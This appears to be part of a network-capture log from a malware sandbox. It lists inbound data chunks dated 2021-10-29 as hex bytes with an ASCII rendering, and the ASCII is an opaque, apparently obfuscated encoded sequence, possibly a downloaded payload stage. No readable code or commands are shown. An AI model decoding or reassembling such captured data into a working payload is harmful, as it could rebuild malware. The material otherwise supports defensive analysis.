2021-10-29 18:29:49 UTC	132	IN	Data Raw: 20 57 4f 20 6d 4d 20 57 71 20 57 6d 20 58 6d 20 71 58 57 20 45 70 20 71 4f 4d 20 71 71 4a 20 4d 57 20 6d 58 20 57 4d 20 57 6d 20 4a 71 70 20 71 71 6d 20 4a 6d 6d 20 71 4f 4d 20 4d 44 20 57 4f 20 71 58 6d 20 71 45 20 57 6d 20 58 6d 20 4d 71 20 71 71 45 20 71 4f 4f 20 71 71 4a 20 71 58 70 20 6d 58 20 71 45 4d 20 57 57 20 44 58 20 71 71 6d 20 44 6d 20 6d 44 20 71 71 4a 20 57 4f 20 4a 57 20 57 4f 20 44 71 20 58 6d 20 4a 6d 4d 20 71 71 45 20 4a 70 44 20 71 71 70 20 70 6d 20 6d 58 20 71 58 6d 20 45 20 58 6d 20 71 71 6d 20 4d 4a 20 71 4f 4d 20 71 4a 70 20 57 4f 20 71 58 58 20 57 4f 20 71 58 70 20 58 57 20 4d 58 20 71 71 45 20 71 4d 71 20 58 58 20 57 4f 20 6d 58 20 4a 45 20 57 6d 20 4d 57 20 71 71 6d 20 4a 6d 58 20 71 4f 4d 20 4a 6d 71 20 57 71 20 70 4a 20 57 4f Data Ascii: WO mM Wq Wm Xm qXW Ep qOM qqJ MW mX WM Wm Jqp qqm Jmm qOM MD WO qXm qE Wm Xm Mq qqE qOO qqJ qXp mX qEM WW DX qqm Dm mD qqJ WO JW WO Dq Xm JmM qqE JpD qqp pm mX qXm E Xm qqm MJ qOM qJp WO qXX WO qXp XW MX qqE qMq XX WO mX JE Wm MW qqm JmX qOM Jmq Wq pJ WO
2021-10-29 18:29:49 UTC	136	IN	Data Raw: 6d 20 71 4f 20 71 4a 70 20 71 71 45 20 71 4f 4d 20 6d 71 20 57 71 20 4a 4f 20 57 71 20 71 4d 20 58 44 20 4d 45 20 71 71 44 20 71 4f 4d 20 71 71 4a 20 45 71 20 44 70 20 57 4f 20 57 6d 20 71 70 20 71 71 57 20 58 71 20 71 4f 58 20 58 57 20 6d 58 20 70 57 20 57 71 20 57 6d 20 58 6d 20 4a 6d 44 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 71 4f 45 20 6d 4d 20 4a 4a 20 57 57 20 71 71 70 20 71 71 4a 20 71 4f 4a 20 71 4f 58 20 71 71 4a 20 57 4f 20 57 70 20 57 57 20 57 6d 20 58 6d 20 6d 70 20 71 71 44 20 45 70 20 71 71 70 20 4a 70 20 57 4f 20 70 70 20 57 57 20 58 6d 20 71 71 6d 20 4a 70 71 20 4d 58 20 71 71 4a 20 57 4f 20 71 4f 57 20 57 71 20 71 58 20 58 57 20 58 45 20 71 71 4d 20 71 4a 44 20 71 71 70 20 57 4f 20 6d 58 20 4a 6d 4a 20 57 6d 20 58 6d 20 71 71 6d 20 6d 6d Data Ascii: m qO qJp qqE qOM mq Wq JO Wq qM XD ME qqD qOM qqJ Eq Dp WO Wm qp qqW Xq qOX XW mX pW Wq Wm Xm JmD qqE qOM qqJ qOE mM JJ WW qqp qqJ qOJ qOX qqJ WO Wp WW Wm Xm mp qqD Ep qqp Jp WO pp WW Xm qqm Jpq MX qqJ WO qOW Wq qX XW XE qqM qJD qqp WO mX JmJ Wm Xm qqm mm
2021-10-29 18:29:49 UTC	140	IN	Data Raw: 6d 70 20 6d 44 20 71 6d 6d 20 58 6d 20 71 71 57 20 71 71 45 20 6d 70 20 71 4f 58 20 57 4a 20 70 70 20 57 71 20 57 6d 20 6d 6d 20 71 71 71 20 71 4f 20 71 4a 6d 20 71 71 70 20 57 4f 20 71 44 4a 20 6d 45 20 71 6d 6d 20 58 6d 20 44 57 20 71 71 44 20 4a 4a 4a 20 71 4a 44 20 71 58 4a 20 70 70 20 71 20 57 57 20 71 4a 20 4d 58 20 4a 57 4a 20 71 4a 6d 20 44 45 20 57 71 20 44 6d 20 70 58 20 71 45 58 20 44 4d 20 44 57 20 71 71 44 20 71 71 4f 20 71 71 4d 20 71 58 58 20 70 70 20 71 20 57 57 20 71 45 6d 20 71 4a 45 20 4a 70 4f 20 71 4a 6d 20 44 45 20 57 71 20 71 4d 44 20 57 44 20 71 45 6d 20 44 4d 20 44 57 20 71 71 44 20 4a 70 71 20 71 4a 44 20 71 45 57 20 70 70 20 71 20 57 57 20 4a 71 70 20 4d 58 20 4a 71 57 20 71 4a 6d 20 44 45 20 57 71 20 4a 57 4a 20 44 71 20 71 6d Data Ascii: mp mD qmm Xm qqW qqE mp qOX WJ pp Wq Wm mm qqq qO qJm qqp WO qDJ mE qmm Xm DW qqD JJJ qJD qXJ pp q WW qJ MX JWJ qJm DE Wq Dm pX qEX DM DW qqD qqO qqM qXX pp q WW qEm qJE JpO qJm DE Wq qMD WD qEm DM DW qqD Jpq qJD qEW pp q WW Jqp MX JqW qJm DE Wq JWJ Dq qm
2021-10-29 18:29:49 UTC	144	IN	Data Raw: 57 20 45 58 20 71 71 70 20 57 4f 20 44 20 57 4f 20 58 4a 20 71 4f 4d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 71 44 6d 20 6d 58 20 71 4d 57 20 4d 20 71 58 4f 20 4d 45 20 44 45 20 71 4f 4d 20 71 4d 4a 20 71 71 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 4a 4a 45 20 71 71 45 20 71 57 44 20 45 4d 20 4a 71 70 20 70 57 20 71 4f 20 57 6d 20 71 4a 20 45 4a 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 71 45 45 20 57 4f 20 71 4f 4d 20 71 4f 57 20 71 70 4f 20 71 4f 4a 20 58 45 20 71 71 4a 20 71 6d 20 71 71 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 4a 6d 6d 20 71 4f 4d 20 71 4d 57 20 4a 71 20 4a 4f 45 20 70 70 20 4d 20 58 6d 20 71 6d 20 45 58 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 71 45 4d 20 57 6d 20 71 45 4a 20 44 45 20 71 71 70 20 71 4a 71 20 6d 58 Data Ascii: W EX qqp WO D WO XJ qOM qqm qqE qOM qqJ qDm mX qMW M qXO ME DE qOM qMJ qq mX WO Wm Xm JJE qqE qWD EM Jqp pW qO Wm qJ EJ qqE qOM qqJ WO qEE WO qOM qOW qpO qOJ XE qqJ qm qq WO Wm Xm qqm Jmm qOM qMW Jq JOE pp M Xm qm EX qOM qqJ WO mX qEM Wm qEJ DE qqp qJq mX
2021-10-29 18:29:49 UTC	148	IN	Data Raw: 71 45 20 4a 57 71 20 71 71 4a 20 71 71 71 20 6d 44 20 4a 4a 70 20 70 6d 20 71 6d 70 20 71 71 6d 20 71 4f 57 20 57 70 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 71 44 4f 20 58 6d 20 71 4a 4d 20 71 71 57 20 71 4a 58 20 71 4f 4f 20 4a 70 44 20 6d 58 20 58 20 71 71 4f 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 4a 70 4f 20 57 4f 20 6d 57 20 70 20 4a 71 4d 20 44 6d 20 71 6d 45 20 71 71 45 20 70 70 20 6d 4f 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 71 4d 6d 20 71 71 6d 20 71 57 20 6d 6d 20 71 57 45 20 70 58 20 4a 71 4a 20 57 4f 20 71 4f 6d 20 71 4a 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 71 44 6d 20 6d 58 20 71 71 4f 20 6d 4d 20 71 58 57 20 71 4f 4a 20 71 6d 44 20 71 4f 4d 20 6d 20 71 4f 44 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 4a 4a 58 20 71 71 45 Data Ascii: qE JWq qqJ qqq mD JJp pm qmp qqm qOW Wp qqJ WO mX WO qDO Xm qJM qqW qJX qOO JpD mX X qqO Xm qqm qqE qOM JpO WO mW p JqM Dm qmE qqE pp mO WO mX WO Wm qMm qqm qW mm qWE pX JqJ WO qOm qJ qqm qqE qOM qqJ qDm mX qqO mM qXW qOJ qmD qOM m qOD mX WO Wm Xm JJX qqE
2021-10-29 18:29:49 UTC	152	IN	Data Raw: 71 4a 6d 20 4d 4d 20 70 70 20 71 71 70 20 57 4f 20 71 58 70 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 4a 4a 45 20 71 4f 4d 20 71 6d 45 20 4a 6d 20 70 58 20 70 44 20 71 4a 4f 20 58 57 20 4a 6d 71 20 4a 6d 4a 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 71 44 6d 20 44 4a 20 4a 4d 20 71 4f 45 20 71 4f 6d 20 71 4a 70 20 44 70 20 57 71 20 71 4a 58 20 71 58 71 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 4a 57 71 20 71 71 4a 20 4d 44 20 6d 71 20 71 45 20 70 4a 20 4a 45 20 71 71 57 20 71 70 70 20 4a 70 6d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 71 44 4f 20 58 6d 20 6d 71 20 71 4f 58 20 71 58 4f 20 71 4a 57 20 4d 58 20 6d 4d 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 4a 6d 57 20 71 4f 4d 20 4a 4a 57 20 71 58 20 4a 4a 4f 20 58 20 4a 58 20 44 44 20 70 57 20 71 71 Data Ascii: qJm MM pp qqp WO qXp WO Wm Xm qqm JJE qOM qmE Jm pX pD qJO XW Jmq JmJ qOM qqJ WO mX qDm DJ JM qOE qOm qJp Dp Wq qJX qXq Wm Xm qqm qqE JWq qqJ MD mq qE pJ JE qqW qpp Jpm qqJ WO mX WO qDO Xm mq qOX qXO qJW MX mM WO Wm Xm qqm JmW qOM JJW qX JJO X JX DD pW qq
2021-10-29 18:29:49 UTC	156	IN	Data Raw: 58 20 57 4f 20 57 6d 20 4a 71 4f 20 71 4a 4a 20 71 45 57 20 71 4f 45 20 4d 44 20 57 4f 20 71 58 45 20 57 71 20 4a 57 4f 20 4a 6d 57 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 71 58 4f 20 57 44 20 71 70 57 20 44 4a 20 4a 4a 4d 20 71 4f 4f 20 4a 6d 4d 20 71 4f 58 20 71 44 6d 20 71 6d 45 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 4a 6d 6d 20 71 4a 57 20 4a 4f 58 20 71 4a 4f 20 71 70 45 20 70 58 20 71 4d 4f 20 57 57 20 71 70 45 20 4a 71 71 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 71 58 4a 20 57 58 20 71 4f 20 4d 57 20 71 58 4f 20 4d 4d 20 4a 4a 6d 20 71 71 70 20 4a 71 57 20 71 6d 57 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 4a 6d 70 20 71 4f 71 20 57 4a 20 57 45 20 4a 4a 6d 20 70 44 20 71 58 45 20 58 57 20 71 57 44 20 4a 71 4a 20 71 4f 4d 20 71 71 Data Ascii: X WO Wm JqO qJJ qEW qOE MD WO qXE Wq JWO JmW qqm qqE qOM qqJ qXO WD qpW DJ JJM qOO JmM qOX qDm qmE mX WO Wm Xm Jmm qJW JOX qJO qpE pX qMO WW qpE Jqq qqE qOM qqJ WO qXJ WX qO MW qXO MM JJm qqp JqW qmW WO Wm Xm qqm Jmp qOq WJ WE JJm pD qXE XW qWD JqJ qOM qq
2021-10-29 18:29:49 UTC	159	IN	Data Raw: 6d 58 20 57 4f 20 57 6d 20 4a 71 4f 20 71 4a 4a 20 71 58 58 20 71 4a 6d 20 71 4f 45 20 57 4f 20 71 57 44 20 57 71 20 71 6d 4a 20 4a 6d 71 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 71 58 4f 20 57 44 20 4a 4a 45 20 70 4d 20 4a 4d 20 71 71 4d 20 4a 71 45 20 71 4f 58 20 71 45 45 20 71 57 71 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 4a 6d 6d 20 71 4a 57 20 71 71 57 20 71 71 4a 20 71 45 70 20 70 45 20 71 57 4d 20 57 57 20 71 57 45 20 4a 71 57 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 71 58 4a 20 57 58 20 71 45 20 58 6d 20 4a 71 70 20 4d 44 20 71 4d 4a 20 71 71 70 20 4a 4a 6d 20 71 6d 4d 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 4a 6d 70 20 71 4f 71 20 71 4f 44 20 6d 4d 20 71 45 57 20 70 4d 20 71 57 4a 20 58 57 20 71 44 58 20 4a 4f 58 20 71 4f 4d 20 Data Ascii: mX WO Wm JqO qJJ qXX qJm qOE WO qWD Wq qmJ Jmq qqm qqE qOM qqJ qXO WD JJE pM JM qqM JqE qOX qEE qWq mX WO Wm Xm Jmm qJW qqW qqJ qEp pE qWM WW qWE JqW qqE qOM qqJ WO qXJ WX qE Xm Jqp MD qMJ qqp JJm qmM WO Wm Xm qqm Jmp qOq qOD mM qEW pM qWJ XW qDX JOX qOM
2021-10-29 18:29:49 UTC	164	IN	Data Raw: 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 71 58 4a 20 57 58 20 71 70 4d 20 4d 4a 20 4d 58 20 71 71 45 20 71 4d 4f 20 71 71 70 20 71 45 20 71 57 70 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 4a 6d 70 20 71 4f 71 20 45 44 20 57 45 20 4a 6d 4d 20 57 4f 20 4a 4a 44 20 58 57 20 58 4d 20 4a 4a 4f 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 71 58 4f 20 44 4a 20 71 44 20 71 4a 71 20 71 4f 71 20 71 4f 4d 20 71 44 6d 20 57 71 20 6d 20 71 57 57 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 4a 70 57 20 71 4a 4f 20 4a 70 57 20 44 4f 20 4a 57 71 20 57 6d 20 71 4a 4d 20 71 71 57 20 45 70 20 71 4d 44 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 71 45 44 20 4d 4a 20 71 6d 45 20 71 4a 71 20 71 4a 57 20 71 71 4a 20 4a 70 71 20 6d 4d 20 71 71 4d 20 71 57 4d 20 58 6d 20 71 71 6d 20 Data Ascii: E qOM qqJ WO qXJ WX qpM MJ MX qqE qMO qqp qE qWp WO Wm Xm qqm Jmp qOq ED WE JmM WO JJD XW XM JJO qOM qqJ WO mX qXO DJ qD qJq qOq qOM qDm Wq m qWW Wm Xm qqm qqE JpW qJO JpW DO JWq Wm qJM qqW Ep qMD qqJ WO mX WO qED MJ qmE qJq qJW qqJ Jpq mM qqM qWM Xm qqm
2021-10-29 18:29:49 UTC	168	IN	Data Raw: 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 4a 6d 70 20 57 4f 20 4d 58 20 6d 58 20 4a 4a 71 20 44 45 20 6d 57 20 71 71 4d 20 4a 70 44 20 4a 71 4d 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 4a 71 4f 20 71 4f 44 20 4a 57 70 20 58 4d 20 71 71 45 20 57 4f 20 58 4f 20 6d 58 20 71 57 4f 20 4a 57 57 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 4a 71 71 20 6d 4d 20 71 70 4d 20 4a 71 20 58 57 20 71 71 6d 20 4a 4f 20 71 71 71 20 4a 71 4a 20 71 57 70 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 6d 45 20 71 71 44 20 71 45 71 20 6d 58 20 6d 71 20 6d 58 20 58 70 20 57 4a 20 6d 20 4a 4a 70 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 4a 4f 4d 20 57 4d 20 70 57 20 71 4f 45 20 4a 4f 70 20 71 4f 4d 20 71 4a 20 71 71 6d 20 71 4f 44 20 71 57 45 20 57 4f 20 57 6d 20 58 6d 20 Data Ascii: m qqm qqE qOM Jmp WO MX mX JJq DE mW qqM JpD JqM WO mX WO Wm JqO qOD JWp XM qqE WO XO mX qWO JWW qqm qqE qOM qqJ Jqq mM qpM Jq XW qqm JO qqq JqJ qWp mX WO Wm Xm qmE qqD qEq mX mq mX Xp WJ m JJp qqE qOM qqJ WO JOM WM pW qOE JOp qOM qJ qqm qOD qWE WO Wm Xm
2021-10-29 18:29:49 UTC	172	IN	Data Raw: 71 70 20 71 71 45 20 71 71 6d 20 45 58 20 57 4f 20 6d 58 20 57 71 20 57 6d 20 57 57 20 4d 70 20 71 71 45 20 71 4f 4d 20 71 71 6d 20 57 4f 20 71 57 70 20 71 4f 20 57 6d 20 58 6d 20 71 71 70 20 71 71 45 20 71 71 6d 20 45 58 20 57 4f 20 6d 58 20 57 71 20 57 6d 20 57 57 20 4d 70 20 71 71 45 20 71 4f 4d 20 71 71 6d 20 57 4f 20 71 57 70 20 71 4f 20 57 6d 20 58 6d 20 71 71 70 20 71 71 45 20 71 71 6d 20 45 58 20 57 4f 20 6d 58 20 57 71 20 57 6d 20 57 57 20 4d 70 20 71 71 45 20 71 4f 4d 20 71 71 6d 20 57 4f 20 71 57 70 20 71 4f 20 57 6d 20 58 6d 20 71 71 70 20 71 71 45 20 71 71 6d 20 45 58 20 57 4f 20 6d 58 20 57 71 20 57 6d 20 57 57 20 4d 70 20 71 71 45 20 71 4f 4d 20 71 71 6d 20 57 4f 20 71 57 70 20 71 4f 20 57 6d 20 58 6d 20 71 71 70 20 71 71 45 20 71 71 6d 20 Data Ascii: qp qqE qqm EX WO mX Wq Wm WW Mp qqE qOM qqm WO qWp qO Wm Xm qqp qqE qqm EX WO mX Wq Wm WW Mp qqE qOM qqm WO qWp qO Wm Xm qqp qqE qqm EX WO mX Wq Wm WW Mp qqE qOM qqm WO qWp qO Wm Xm qqp qqE qqm EX WO mX Wq Wm WW Mp qqE qOM qqm WO qWp qO Wm Xm qqp qqE qqm
2021-10-29 18:29:49 UTC	176	IN	Data Raw: 57 4f 20 4a 6d 45 20 4a 57 20 57 6d 20 58 6d 20 71 71 58 20 71 71 45 20 45 58 20 45 71 20 57 4f 20 6d 58 20 57 71 20 57 6d 20 4a 6d 4d 20 4d 71 20 71 71 45 20 71 4f 4d 20 71 71 70 20 57 4f 20 71 57 45 20 4a 45 20 57 6d 20 58 6d 20 71 71 57 20 71 71 45 20 71 4d 4a 20 58 4d 20 57 4f 20 6d 58 20 57 71 20 57 6d 20 4a 45 20 58 57 20 71 71 45 20 71 4f 4d 20 71 71 70 20 57 4f 20 71 4a 45 20 4a 71 20 57 6d 20 58 6d 20 71 71 57 20 71 71 45 20 70 6d 20 58 45 20 57 4f 20 6d 58 20 57 71 20 57 6d 20 4a 45 20 58 57 20 71 71 45 20 71 4f 4d 20 71 71 70 20 57 4f 20 71 4a 45 20 4a 71 20 57 6d 20 58 6d 20 71 71 57 20 71 71 45 20 57 4d 20 58 4d 20 57 4f 20 6d 58 20 6d 58 20 57 6d 20 4a 71 45 20 4d 71 20 71 71 45 20 71 4f 4d 20 71 71 70 20 57 4f 20 71 4a 45 20 4a 71 20 57 6d Data Ascii: WO JmE JW Wm Xm qqX qqE EX Eq WO mX Wq Wm JmM Mq qqE qOM qqp WO qWE JE Wm Xm qqW qqE qMJ XM WO mX Wq Wm JE XW qqE qOM qqp WO qJE Jq Wm Xm qqW qqE pm XE WO mX Wq Wm JE XW qqE qOM qqp WO qJE Jq Wm Xm qqW qqE WM XM WO mX mX Wm JqE Mq qqE qOM qqp WO qJE Jq Wm
2021-10-29 18:29:49 UTC	180	IN	Data Raw: 6d 58 20 57 44 20 57 6d 20 71 57 57 20 58 58 20 71 71 45 20 71 4f 4d 20 71 4a 70 20 57 4f 20 71 71 57 20 71 57 20 57 4a 20 58 6d 20 71 71 57 20 71 71 45 20 4d 70 20 57 4f 20 57 4f 20 6d 58 20 6d 58 20 57 6d 20 45 57 20 45 44 20 71 71 45 20 71 4f 4d 20 71 71 70 20 57 4f 20 71 71 57 20 71 57 20 57 6d 20 58 6d 20 71 71 4a 20 71 71 45 20 71 4a 70 20 71 71 4f 20 57 4f 20 6d 58 20 57 71 20 57 6d 20 71 4f 71 20 6d 58 20 71 71 45 20 71 4f 4d 20 71 71 70 20 57 4f 20 71 20 71 71 4a 20 57 6d 20 58 6d 20 71 71 4a 20 71 71 45 20 71 44 4a 20 4d 4f 20 57 4f 20 6d 58 20 6d 4d 20 57 6d 20 4a 70 20 45 4d 20 71 71 45 20 71 4f 4d 20 71 71 70 20 57 4f 20 6d 45 20 71 4a 20 57 6d 20 58 6d 20 71 71 57 20 71 71 45 20 6d 44 20 45 45 20 57 4f 20 6d 58 20 6d 58 20 57 6d 20 44 44 20 Data Ascii: mX WD Wm qWW XX qqE qOM qJp WO qqW qW WJ Xm qqW qqE Mp WO WO mX mX Wm EW ED qqE qOM qqp WO qqW qW Wm Xm qqJ qqE qJp qqO WO mX Wq Wm qOq mX qqE qOM qqp WO q qqJ Wm Xm qqJ qqE qDJ MO WO mX mM Wm Jp EM qqE qOM qqp WO mE qJ Wm Xm qqW qqE mD EE WO mX mX Wm DD
2021-10-29 18:29:49 UTC	184	IN	Data Raw: 20 71 71 4f 20 6d 71 20 70 71 20 4a 70 4f 20 57 6d 20 71 4d 4d 20 58 45 20 6d 20 71 4f 44 20 71 45 45 20 71 71 44 20 4a 70 4f 20 6d 58 20 71 44 70 20 4a 4d 20 71 71 57 20 71 71 6d 20 71 71 44 20 71 4f 58 20 4a 6d 58 20 44 20 4a 71 71 20 57 6d 20 70 4d 20 58 57 20 4a 4d 20 44 58 20 71 70 57 20 71 71 44 20 57 71 20 57 4a 20 44 44 20 4d 20 71 44 45 20 71 71 58 20 71 71 44 20 71 4f 57 20 71 71 57 20 4d 20 4a 4f 71 20 57 6d 20 44 70 20 58 4f 20 70 70 20 71 71 4f 20 71 6d 44 20 71 71 44 20 4a 70 58 20 6d 58 20 71 58 44 20 4a 20 58 57 20 71 71 6d 20 71 4f 4f 20 71 4f 57 20 71 70 58 20 4a 71 20 6d 4f 20 57 57 20 4a 70 20 58 4f 20 71 4d 70 20 58 44 20 71 4f 58 20 71 71 4a 20 71 4d 20 57 4a 20 70 45 20 71 71 58 20 58 57 20 71 71 6d 20 71 71 44 20 71 4f 58 20 71 58 Data Ascii: qqO mq pq JpO Wm qMM XE m qOD qEE qqD JpO mX qDp JM qqW qqm qqD qOX JmX D Jqq Wm pM XW JM DX qpW qqD Wq WJ DD M qDE qqX qqD qOW qqW M JOq Wm Dp XO pp qqO qmD qqD JpX mX qXD J XW qqm qOO qOW qpX Jq mO WW Jp XO qMp XD qOX qqJ qM WJ pE qqX XW qqm qqD qOX qX
2021-10-29 18:29:49 UTC	188	IN	Data Raw: 20 57 70 20 71 58 44 20 4a 20 58 57 20 71 71 6d 20 70 44 20 71 4f 6d 20 4a 6d 45 20 4a 71 20 44 58 20 44 70 20 71 4f 70 20 58 71 20 71 45 44 20 58 4a 20 4a 57 20 71 4a 57 20 71 4f 45 20 57 70 20 70 4d 20 71 6d 20 6d 57 20 71 4a 45 20 44 4f 20 71 71 71 20 71 58 20 71 71 6d 20 71 45 44 20 44 70 20 71 4a 45 20 58 44 20 4a 6d 6d 20 57 70 20 4a 70 45 20 71 4a 57 20 71 4a 70 20 57 4f 20 44 57 20 71 71 58 20 4a 71 4a 20 71 4a 45 20 44 4f 20 71 71 71 20 70 6d 20 71 71 6d 20 71 45 44 20 44 70 20 71 4f 70 20 58 71 20 4a 71 44 20 71 4f 44 20 4a 70 6d 20 71 4a 57 20 4d 71 20 57 70 20 71 58 44 20 4a 20 58 57 20 71 71 6d 20 4a 58 20 71 4f 6d 20 45 4a 20 4a 6d 20 57 70 20 57 4f 20 4d 57 20 58 71 20 71 4f 6d 20 4d 57 20 71 4f 6d 20 71 71 4a 20 4d 71 20 57 70 20 4a 44 20 Data Ascii: Wp qXD J XW qqm pD qOm JmE Jq DX Dp qOp Xq qED XJ JW qJW qOE Wp pM qm mW qJE DO qqq qX qqm qED Dp qJE XD Jmm Wp JpE qJW qJp WO DW qqX JqJ qJE DO qqq pm qqm qED Dp qOp Xq JqD qOD Jpm qJW Mq Wp qXD J XW qqm JX qOm EJ Jm Wp WO MW Xq qOm MW qOm qqJ Mq Wp JD
2021-10-29 18:29:49 UTC	191	IN	Data Raw: 4f 20 71 4d 70 20 71 71 45 20 70 57 20 71 4f 44 20 71 57 57 20 57 4a 20 71 4a 4d 20 57 6d 20 71 4f 20 71 4f 6d 20 71 58 58 20 71 4f 57 20 71 4d 57 20 57 4f 20 71 6d 20 6d 4f 20 4a 4a 70 20 58 4f 20 71 4d 70 20 71 71 45 20 70 57 20 71 4f 44 20 6d 4d 20 57 70 20 71 6d 57 20 57 6d 20 45 44 20 71 71 4f 20 71 4a 6d 20 71 4f 6d 20 71 4d 57 20 57 4f 20 71 71 4f 20 6d 4f 20 70 71 20 58 71 20 71 4d 70 20 71 71 45 20 70 20 71 4f 44 20 71 71 57 20 57 70 20 71 71 70 20 57 6d 20 71 44 4a 20 71 4a 57 20 57 6d 20 71 4f 6d 20 4a 71 71 20 57 4f 20 71 71 4a 20 6d 44 20 71 4a 45 20 58 71 20 71 4d 70 20 71 71 45 20 71 4d 20 71 4f 44 20 58 70 20 57 70 20 71 71 70 20 57 6d 20 71 44 4a 20 71 4a 57 20 4a 58 20 71 4f 6d 20 71 4d 57 20 57 4f 20 71 4d 4f 20 6d 4f 20 71 58 70 20 58 Data Ascii: O qMp qqE pW qOD qWW WJ qJM Wm qO qOm qXX qOW qMW WO qm mO JJp XO qMp qqE pW qOD mM Wp qmW Wm ED qqO qJm qOm qMW WO qqO mO pq Xq qMp qqE p qOD qqW Wp qqp Wm qDJ qJW Wm qOm Jqq WO qqJ mD qJE Xq qMp qqE qM qOD Xp Wp qqp Wm qDJ qJW JX qOm qMW WO qMO mO qXp X
2021-10-29 18:29:49 UTC	196	IN	Data Raw: 57 57 20 71 4a 45 20 57 4f 20 6d 71 20 57 45 20 57 6d 20 71 44 4a 20 71 4a 57 20 58 57 20 71 71 44 20 71 4a 70 20 57 4f 20 71 4d 58 20 44 71 20 71 71 58 20 45 45 20 71 4a 71 20 71 71 45 20 71 57 57 20 71 4a 45 20 58 4a 20 6d 71 20 57 45 20 57 6d 20 71 44 4a 20 71 4a 57 20 4a 6d 57 20 71 71 44 20 71 4a 70 20 57 4f 20 71 4d 58 20 44 71 20 4a 6d 44 20 45 45 20 71 4a 71 20 71 71 45 20 71 57 57 20 71 4a 45 20 4a 71 4f 20 6d 71 20 57 45 20 57 6d 20 71 44 4a 20 71 4a 57 20 71 6d 4d 20 71 71 70 20 57 71 20 57 4f 20 71 4d 58 20 44 71 20 71 57 4f 20 45 70 20 6d 4d 20 71 71 45 20 71 57 57 20 71 4a 45 20 4a 6d 4a 20 6d 57 20 71 71 70 20 57 6d 20 71 44 4a 20 71 4a 57 20 71 6d 4d 20 71 71 4a 20 57 71 20 57 4f 20 71 4d 58 20 44 71 20 57 6d 20 45 6d 20 6d 4d 20 71 71 45 Data Ascii: WW qJE WO mq WE Wm qDJ qJW XW qqD qJp WO qMX Dq qqX EE qJq qqE qWW qJE XJ mq WE Wm qDJ qJW JmW qqD qJp WO qMX Dq JmD EE qJq qqE qWW qJE JqO mq WE Wm qDJ qJW qmM qqp Wq WO qMX Dq qWO Ep mM qqE qWW qJE JmJ mW qqp Wm qDJ qJW qmM qqJ Wq WO qMX Dq Wm Em mM qqE
2021-10-29 18:29:49 UTC	200	IN	Data Raw: 20 4d 4f 20 57 71 20 57 4f 20 71 4d 58 20 44 71 20 57 6d 20 71 4f 58 20 6d 4d 20 71 71 45 20 71 57 57 20 71 4a 45 20 71 58 20 58 20 71 71 70 20 57 6d 20 71 44 4a 20 71 4a 57 20 57 70 20 58 57 20 57 71 20 57 4f 20 71 4d 58 20 44 71 20 58 44 20 71 4f 58 20 6d 4d 20 71 71 45 20 71 57 57 20 71 4a 45 20 71 45 58 20 58 20 71 71 70 20 57 6d 20 71 44 4a 20 71 4a 57 20 4a 71 70 20 58 57 20 57 71 20 57 4f 20 71 4d 58 20 44 71 20 4a 6d 44 20 71 4f 58 20 6d 4d 20 71 71 45 20 71 57 57 20 71 4a 45 20 4a 71 4f 20 58 20 71 71 70 20 57 6d 20 71 44 4a 20 71 4a 57 20 71 71 45 20 58 6d 20 57 71 20 57 4f 20 71 4d 58 20 44 71 20 4a 4a 20 71 4f 4d 20 6d 4d 20 71 71 45 20 71 57 57 20 71 4a 45 20 71 71 6d 20 4d 20 71 71 70 20 57 6d 20 71 44 4a 20 71 4a 57 20 4a 71 20 58 6d 20 57 Data Ascii: MO Wq WO qMX Dq Wm qOX mM qqE qWW qJE qX X qqp Wm qDJ qJW Wp XW Wq WO qMX Dq XD qOX mM qqE qWW qJE qEX X qqp Wm qDJ qJW Jqp XW Wq WO qMX Dq JmD qOX mM qqE qWW qJE JqO X qqp Wm qDJ qJW qqE Xm Wq WO qMX Dq JJ qOM mM qqE qWW qJE qqm M qqp Wm qDJ qJW Jq Xm W
